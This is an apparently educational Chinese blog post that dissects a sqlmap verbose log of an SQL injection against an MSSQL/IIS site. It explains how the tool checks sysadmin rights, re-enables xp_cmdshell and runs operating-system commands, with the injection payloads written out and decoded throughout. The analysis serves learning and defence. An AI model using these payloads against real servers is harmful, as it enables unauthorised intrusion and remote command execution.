###### tags: `sqlmap` # SQLmap MSSQL to RCE 原理 ### 0x00 前言 有天在安全測試某個站點的Server時,意外發現具有SQL漏洞,然後就丟到SQLmap上發現就直接RCE了... 不過一直以來不是很了解RCE的過程,這是不好的一件事情,在很多進行fuzzing的場景中,我們勢必需要理解其注入過程做了什麼事情,這才是學會滲透重要的一環。 因此,我今日有感而發,決定寫此篇文章,來助於理解SQLmap在MSSQL裡如何拿到RCE。 ### 0x01 注入過程研究 下面附上我那次注入過程使用「-v 3」參數的詳細過程,然後拆解講解(有將原本的過程透漏的機敏資訊抹去) ```= --- Parameter: id (GET) Type: boolean-based blind Title: AND boolean-based blind - WHERE or HAVING clause Payload: id=5' AND 8774=8774 AND 'wXZv'='wXZv&u=%e5%8f%a3%e5%90%83&pol=%e4%b8%80%e8%88%ac%e5%85%a7%e7%a7%91 Vector: AND [INFERENCE] Type: stacked queries Title: Microsoft SQL Server/Sybase stacked queries (comment) Payload: id=5';WAITFOR DELAY '0:0:10'--&u=%e5%8f%a3%e5%90%83&pol=%e4%b8%80%e8%88%ac%e5%85%a7%e7%a7%91 Vector: ;IF([INFERENCE]) WAITFOR DELAY '0:0:[SLEEPTIME]'-- Type: time-based blind Title: Microsoft SQL Server/Sybase time-based blind (IF - comment) Payload: id=5' WAITFOR DELAY '0:0:10'--&u=%e5%8f%a3%e5%90%83&pol=%e4%b8%80%e8%88%ac%e5%85%a7%e7%a7%91 Vector: IF([INFERENCE]) WAITFOR DELAY '0:0:[SLEEPTIME]'-- Type: UNION query Title: Generic UNION query (NULL) - 7 columns Payload: id=-3169' UNION ALL SELECT NULL,NULL,NULL,CHAR(113)+CHAR(120)+CHAR(107)+CHAR(118)+CHAR(113)+CHAR(112)+CHAR(108)+CHAR(117)+CHAR(122)+CHAR(105)+CHAR(112)+CHAR(81)+CHAR(84)+CHAR(77)+CHAR(122)+CHAR(86)+CHAR(87)+CHAR(103)+CHAR(65)+CHAR(105)+CHAR(118)+CHAR(78)+CHAR(105)+CHAR(80)+CHAR(98)+CHAR(116)+CHAR(122)+CHAR(99)+CHAR(103)+CHAR(113)+CHAR(82)+CHAR(87)+CHAR(88)+CHAR(67)+CHAR(108)+CHAR(113)+CHAR(122)+CHAR(103)+CHAR(71)+CHAR(116)+CHAR(82)+CHAR(74)+CHAR(86)+CHAR(88)+CHAR(86)+CHAR(113)+CHAR(113)+CHAR(112)+CHAR(106)+CHAR(113),NULL,NULL,NULL-- mUbd&u=%e5%8f%a3%e5%90%83&pol=%e4%b8%80%e8%88%ac%e5%85%a7%e7%a7%91 Vector: UNION ALL SELECT NULL,NULL,NULL,[QUERY],NULL,NULL,NULL[GENERIC_SQL_COMMENT] --- [17:04:08] [INFO] the back-end DBMS is Microsoft SQL Server web server operating system: Windows 10 or 11 or 2019 or 2022 or 2016 web application technology: Microsoft IIS 10.0, ASP.NET 4.0.30319, ASP.NET back-end DBMS: Microsoft SQL Server 2016 [17:04:08] [DEBUG] identifying Microsoft SQL Server error log directory that sqlmap will use to store temporary files with commands' output [17:04:08] [DEBUG] resuming configuration option 'code' (200) [17:04:08] [PAYLOAD] -9069' UNION ALL SELECT NULL,NULL,NULL,CHAR(113)+CHAR(120)+CHAR(107)+CHAR(118)+CHAR(113)+ISNULL(CAST(SERVERPROPERTY(CHAR(69)+CHAR(114)+CHAR(114)+CHAR(111)+CHAR(114)+CHAR(76)+CHAR(111)+CHAR(103)+CHAR(70)+CHAR(105)+CHAR(108)+CHAR(101)+CHAR(78)+CHAR(97)+CHAR(109)+CHAR(101)) AS NVARCHAR(4000)),CHAR(32))+CHAR(113)+CHAR(113)+CHAR(112)+CHAR(106)+CHAR(113),NULL,NULL,NULL-- RpBj [17:04:14] [DEBUG] performed 1 query in 5.39 seconds [17:04:14] [DEBUG] going to use 'C:/Program Files/Microsoft SQL Server/MSSQL13.MSSQLSERVER/MSSQL/Log' as temporary files directory [17:04:14] [INFO] testing if current user is DBA [17:04:14] [PAYLOAD] -4739' UNION ALL SELECT NULL,NULL,NULL,CHAR(113)+CHAR(120)+CHAR(107)+CHAR(118)+CHAR(113)+(CASE WHEN (IS_SRVROLEMEMBER(CHAR(115)+CHAR(121)+CHAR(115)+CHAR(97)+CHAR(100)+CHAR(109)+CHAR(105)+CHAR(110))=1) THEN CHAR(49) ELSE CHAR(48) END)+CHAR(113)+CHAR(113)+CHAR(112)+CHAR(106)+CHAR(113),NULL,NULL,NULL-- LoIP [17:04:17] [DEBUG] performed 1 query in 3.00 seconds [17:04:17] [INFO] checking if xp_cmdshell extended procedure is available, please wait.. [17:04:17] [PAYLOAD] 5';DECLARE @hhsr VARCHAR(8000);SET @hhsr=0x70696e67202d6e203230203132372e302e302e31;EXEC master..xp_cmdshell @hhsr-- [17:04:21] [WARNING] reflective value(s) found and filtering out [17:04:21] [WARNING] time-based standard deviation method used on a model with less than 30 response times xp_cmdshell extended procedure does not seem to be available. Do you want sqlmap to try to re-enable it? [Y/n] Y [17:04:21] [DEBUG] used the default behavior, running in batch mode [17:04:21] [DEBUG] configuring xp_cmdshell using sp_configure stored procedure [17:04:21] [PAYLOAD] 5';EXEC master..sp_configure 'SHOW advanced options',1; RECONFIGURE WITH OVERRIDE; EXEC master..sp_configure 'xp_cmdshell',1; RECONFIGURE WITH OVERRIDE; EXEC master..sp_configure 'SHOW advanced options',0; RECONFIGURE WITH OVERRIDE-- [17:04:24] [PAYLOAD] 5';DECLARE @ajfa VARCHAR(8000);SET @ajfa=0x70696e67202d6e203230203132372e302e302e31;EXEC master..xp_cmdshell @ajfa-- [17:04:47] [WARNING] time-based standard deviation method used on a model with less than 30 response times [17:04:47] [INFO] xp_cmdshell re-enabled successfully [17:04:47] [DEBUG] creating a support table to write commands standard output to [17:04:47] [PAYLOAD] 5';DROP TABLE sqlmapoutput-- [17:04:50] [PAYLOAD] 5';CREATE TABLE sqlmapoutput(id INT PRIMARY KEY IDENTITY, data NVARCHAR(4000))-- [17:04:53] [INFO] testing if xp_cmdshell extended procedure is usable [17:04:53] [PAYLOAD] 5';DECLARE @qjaa VARCHAR(8000);SET @qjaa=0x6563686f2031;INSERT INTO sqlmapoutput(data) EXEC master..xp_cmdshell @qjaa-- [17:04:56] [PAYLOAD] -3373' UNION ALL SELECT NULL,NULL,NULL,CHAR(113)+CHAR(120)+CHAR(107)+CHAR(118)+CHAR(113)+(SELECT data FROM sqlmapoutput ORDER BY id FOR JSON AUTO, INCLUDE_NULL_VALUES)+CHAR(113)+CHAR(113)+CHAR(112)+CHAR(106)+CHAR(113),NULL,NULL,NULL-- yWAq [17:05:00] [DEBUG] performed 1 query in 3.81 seconds [17:05:00] [PAYLOAD] 5';DELETE FROM sqlmapoutput-- [17:05:03] [INFO] xp_cmdshell extended procedure is usable [17:05:03] [INFO] going to use extended procedure 'xp_cmdshell' for operating system command execution [17:05:03] [INFO] calling Windows OS shell. To quit type 'x' or 'q' and press ENTER os-shell> powershell pwd do you want to retrieve the command standard output? [Y/n/a] Y [17:08:34] [DEBUG] used the default behavior, running in batch mode [17:08:34] [PAYLOAD] 5';DECLARE @vkdv VARCHAR(8000);SET @vkdv=0x706f7765727368656c6c20707764;INSERT INTO sqlmapoutput(data) EXEC master..xp_cmdshell @vkdv-- [17:08:40] [PAYLOAD] -4007' UNION ALL SELECT NULL,NULL,NULL,CHAR(113)+CHAR(120)+CHAR(107)+CHAR(118)+CHAR(113)+(SELECT data FROM sqlmapoutput ORDER BY id FOR JSON AUTO, INCLUDE_NULL_VALUES)+CHAR(113)+CHAR(113)+CHAR(112)+CHAR(106)+CHAR(113),NULL,NULL,NULL-- EswF [17:08:42] [DEBUG] performed 1 query in 2.13 seconds [17:08:42] [PAYLOAD] 5';DELETE FROM sqlmapoutput-- command standard output: --- NULL Path ---- C:\Windows\system32 NULL NULL NULL --- os-shell> q [17:17:19] [INFO] cleaning up the database management system [17:17:19] [DEBUG] removing support tables [17:17:19] [PAYLOAD] 5';DROP TABLE sqlmapfile-- [17:17:23] [PAYLOAD] 5';DROP TABLE sqlmapfilehex-- [17:17:26] [PAYLOAD] 5';DROP TABLE sqlmapoutput-- do you want to remove UDF 'master..new_xp_cmdshell'? [Y/n] Y [17:17:30] [DEBUG] used the default behavior, running in batch mode [17:17:30] [DEBUG] removing UDF 'master..new_xp_cmdshell' [17:17:30] [PAYLOAD] 5';DROP FUNCTION master..new_xp_cmdshell-- [17:17:33] [DEBUG] got HTTP error code: 500 ('Internal Server Error') [17:17:33] [INFO] database management system cleanup finished [17:17:33] [WARNING] remember that UDF dynamic-link library files saved on the file system can only be deleted manually [17:17:33] [WARNING] HTTP error codes detected during run: 500 (Internal Server Error) - 1 times [17:17:33] [INFO] fetched data logged to text files under '儲存路徑' ``` 基本上就是很長一串的payload,然後注入類型基本上除了報錯注入其他都是可以用的,那我們開始來拆解過程。 + 23~27行單純就是解析後端技術,這不是今天的重點,跳過。 我們把29行展開來看 ```mssql= UNION ALL SELECT NULL, NULL, NULL, CHAR(113)+CHAR(120)+CHAR(107)+CHAR(118)+CHAR(113)+ ISNULL( CAST( SERVERPROPERTY( CHAR(69)+CHAR(114)+CHAR(114)+CHAR(111)+CHAR(114)+CHAR(76)+CHAR(111)+CHAR(103)+CHAR(70)+CHAR(105)+CHAR(108)+CHAR(101)+CHAR(78)+CHAR(97)+CHAR(109)+CHAR(101) ) AS NVARCHAR(4000) ), CHAR(32) )+CHAR(113)+CHAR(113)+CHAR(112)+CHAR(106)+CHAR(113), NULL, NULL, NULL-- RpBj ``` 我們把char()還原成字串後可以得到如下 ```mssql= UNION ALL SELECT NULL, NULL, NULL, 'qxkvq'+ ISNULL( CAST(SERVERPROPERTY('ErrorLogFileName') AS NVARCHAR(4000)), CHAR(32) )+'qqpjq', NULL, NULL, NULL-- RpBj ``` 如果懶得一個一個對ASCII,可以用下方提供的python code來跑 ```python= # input: CHAR(69)+CHAR(114)+CHAR(114)+CHAR(111)+CHAR(114)+CHAR(76)+CHAR(111)+CHAR(103)+CHAR(70)+CHAR(105)+CHAR(108)+CHAR(101)+CHAR(78)+CHAR(97)+CHAR(109)+CHAR(101) # output: ErrorLogFileName print(eval(input("input:").replace('CHAR','chr'))) ``` + 我們看第8行 ```mssql= CAST(SERVERPROPERTY('ErrorLogFileName') AS NVARCHAR(4000)) ``` 這句意思是,將 SQL Server 錯誤記錄檔,目前最新的完整檔案路徑與檔案名稱,轉換成 NVARCHAR() 格式,並可容納4000個字節,這個語法可以拿去[w3school](https://www.w3schools.com/sql/func_sqlserver_cast.asp)去測試。 ![](https://i.imgur.com/JPea6Oh.png) + 而7~10的意思是說,如果第八行的運行結果為NULL的話,則將他轉換成char(32),也就是一個空白 + 我們回到<a href="#0x01-注入過程研究">注入過程</a>,可以看到第29~31行,就是去找有沒有找到錯誤記錄檔,如果有,就把它作為臨時文件目錄。 + 接著第32行提示說,測試當前用戶是否為 DBA,我們分析第33行 ```mssql= UNION ALL SELECT NULL, NULL, NULL, CHAR(113)+CHAR(120)+CHAR(107)+CHAR(118)+CHAR(113)+ ( CASE WHEN ( IS_SRVROLEMEMBER( CHAR(115)+CHAR(121)+CHAR(115)+CHAR(97)+CHAR(100)+CHAR(109)+CHAR(105)+CHAR(110) )=1 ) THEN CHAR(49) ELSE CHAR(48) END )+CHAR(113)+CHAR(113)+CHAR(112)+CHAR(106)+CHAR(113), NULL, NULL, NULL-- LoIP ``` 還原ASCII後 ```mssql= UNION ALL SELECT NULL, NULL, NULL, 'qxkvq'+ ( CASE WHEN ( IS_SRVROLEMEMBER('sysadmin')=1 ) THEN '1' ELSE '0' END )+'qqpjq', NULL, NULL, NULL-- LoIP ``` + 第9行,判斷是否為SA權限,如果是,IS_SRVROLEMEMBER('sysadmin')會得到1,否則為0。 + 第8~10行,單純就是看內容如果成立,得到1,否則為0,[這裡](https://www.cnblogs.com/yokan/p/15456374.html)有篇文章有解釋可以看看。 我們回到<a href="#0x01-注入過程研究">注入過程</a>繼續分析。 + 35行測試 xp_cmdshell 是否可用,看看第36行payload ```mssql= DECLARE @hhsr VARCHAR(8000); SET @hhsr=0x70696e67202d6e203230203132372e302e302e31; EXEC master..xp_cmdshell @hhsr-- ``` 用下方的python code解析hex ```python= # input: 0x70696e67202d6e203230203132372e302e302e31 # output: ping -n 20 127.0.0.1 print(f"output: {bytearray.fromhex(input('input: ')[2:]).decode()}") ``` 簡單說就是把 cmd ping 指令字串存到hhsr變數後,透過 xp_cmdshell 拿去執行看看能不能跑,至於為何是ping 20次,可以理解成一種時間注入,因為不一定所有的注入都會回傳結果,這個很好理解。 我們回到<a href="#0x01-注入過程研究">注入過程</a>繼續分析。 + 第39行,SQLmap檢測後發現, xp_cmdshell 貌似是關閉狀態,因此詢問是否要開(當然開阿# 我們解析第42行。 ```mssql= -- 開啟允許修改高級參數 EXEC master..sp_configure 'SHOW advanced options',1; -- 將剛剛設定的參數啟動 RECONFIGURE WITH OVERRIDE; -- 啟用 xp_cmdshell EXEC master..sp_configure 'xp_cmdshell',1; -- 將剛剛設定的參數啟動 RECONFIGURE WITH OVERRIDE; -- 關閉允許修改高級參數 EXEC master..sp_configure 'SHOW advanced options',0; -- 將剛剛設定的參數啟動 RECONFIGURE WITH OVERRIDE-- ``` 這裡可以看到SQLmap為了避免汙染環境,有把啟用的參數再關回去。 + 第43行,單純就是打開 xp_cmdshell 後再把剛剛的 ping 指令跑一次看有沒有生效。 ```mssql= DECLARE @ajfa VARCHAR(8000); SET @ajfa=0x70696e67202d6e203230203132372e302e302e31; EXEC master..xp_cmdshell @ajfa-- ``` 解析還原後 ```mssql= DECLARE @ajfa VARCHAR(8000); SET @ajfa='ping -n 20 127.0.0.1'; EXEC master..xp_cmdshell @ajfa-- ``` 我們回到<a href="#0x01-注入過程研究">注入過程</a>繼續分析。 + 45行 告訴你 xp_cmdshell 指令已被啟用完畢。 + 46行準備創建一個用來接收指令執行結果的 table。 + 47跟48行如下 ```mssql= DROP TABLE sqlmapoutput-- CREATE TABLE sqlmapoutput(id INT PRIMARY KEY IDENTITY, data NVARCHAR(4000))-- ``` 為了避免建表失敗,不管有沒有,他先刪一次,之後再建。 + 49行跟你說,再測試一次 xp_cmdshell 指令是否可以使用。 + 50行如下 ```mssql= DECLARE @qjaa VARCHAR(8000); SET @qjaa=0x6563686f2031; INSERT INTO sqlmapoutput(data) EXEC master..xp_cmdshell @qjaa-- ``` 解析後 ```mssql= DECLARE @qjaa VARCHAR(8000); SET @qjaa='echo 1'; INSERT INTO sqlmapoutput(data) EXEC master..xp_cmdshell @qjaa-- ``` 簡單說就是把 cmd 指令 echo 1 的結果放到 SQLmap 剛剛創建的 table 「sqlmapoutput」 裡面。 + 51行如下 ```mssql= UNION ALL SELECT NULL, NULL, NULL, CHAR(113)+CHAR(120)+CHAR(107)+CHAR(118)+CHAR(113)+ ( SELECT data FROM sqlmapoutput ORDER BY id FOR JSON AUTO, INCLUDE_NULL_VALUES )+CHAR(113)+CHAR(113)+CHAR(112)+CHAR(106)+CHAR(113), NULL, NULL, NULL-- yWAq ``` 解析後 ```mssql= UNION ALL SELECT NULL, NULL, NULL, 'qxkvq'+ ( SELECT data FROM sqlmapoutput ORDER BY id FOR JSON AUTO, INCLUDE_NULL_VALUES )+'qqpjq', NULL, NULL, NULL-- yWAq ``` 簡單說就是把剛剛 cmd 指令的執行結果,從SQLmap 創建的 table 裡再拿出來。 + 53行 ```mssql= DELETE FROM sqlmapoutput-- ``` 把 table 裡的數據都清除掉了。然後54行裡告訴你 xp_cmdshell 是可以用的,可以發現他是透過剛剛這樣的一個使用流程來做檢測的。 我們回到<a href="#0x01-注入過程研究">注入過程</a>繼續分析。 + 然後57行可以看到他已經把prompt 「os-shell>」丟給你,代表你已經可以開始下 shell command 了,我這裡測試了powershell 裡的 pwd 命令,可以看到路徑是在 C:\Windows\system32 裡面,期間,SQLmap 做的指令,我們來分析。 + 第60行如下 ```mssql= DECLARE @vkdv VARCHAR(8000); SET @vkdv=0x706f7765727368656c6c20707764; INSERT INTO sqlmapoutput(data) EXEC master..xp_cmdshell @vkdv-- ``` 解析後 ```mssql= DECLARE @vkdv VARCHAR(8000); SET @vkdv='powershell pwd'; INSERT INTO sqlmapoutput(data) EXEC master..xp_cmdshell @vkdv-- ``` + 61行如下 ```mssql= UNION ALL SELECT NULL, NULL, NULL, CHAR(113)+CHAR(120)+CHAR(107)+CHAR(118)+CHAR(113)+ ( SELECT data FROM sqlmapoutput ORDER BY id FOR JSON AUTO, INCLUDE_NULL_VALUES )+CHAR(113)+CHAR(113)+CHAR(112)+CHAR(106)+CHAR(113), NULL, NULL, NULL-- EswF ``` 解析後 ```mssql= UNION ALL SELECT NULL, NULL, NULL, 'qxkvq'+ ( SELECT data FROM sqlmapoutput ORDER BY id FOR JSON AUTO, INCLUDE_NULL_VALUES )+'qqpjq', NULL, NULL, NULL-- EswF ``` + 63行如下 ```mssql= DELETE FROM sqlmapoutput-- ``` 恩,如剛剛上面所解析的一樣,就是拿 xp_cmdshell 來執行我們下的指令,然後再利用 union-based來獲取執行的結果。 我們回到<a href="#0x01-注入過程研究">注入過程</a>繼續分析。 + 第74行,我下了離開的指令,SQLmap 告訴你說,清理數據庫管理系統,以及刪除 SQLmap 所建立的表。 下面基本上就是在還原滲透前的系統環境,就不多做解釋了。 沒了,終於寫完了,感謝觀看。